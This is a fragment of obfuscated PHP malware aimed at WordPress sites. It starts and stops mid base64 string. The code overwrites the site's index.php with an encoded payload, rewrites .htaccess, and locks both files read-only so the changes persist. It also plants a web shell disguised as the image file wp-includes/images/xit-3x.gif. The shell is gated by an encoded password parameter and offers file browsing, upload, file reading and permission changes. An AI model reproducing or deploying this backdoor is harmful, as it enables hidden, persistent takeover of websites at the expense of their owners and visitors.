yOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0g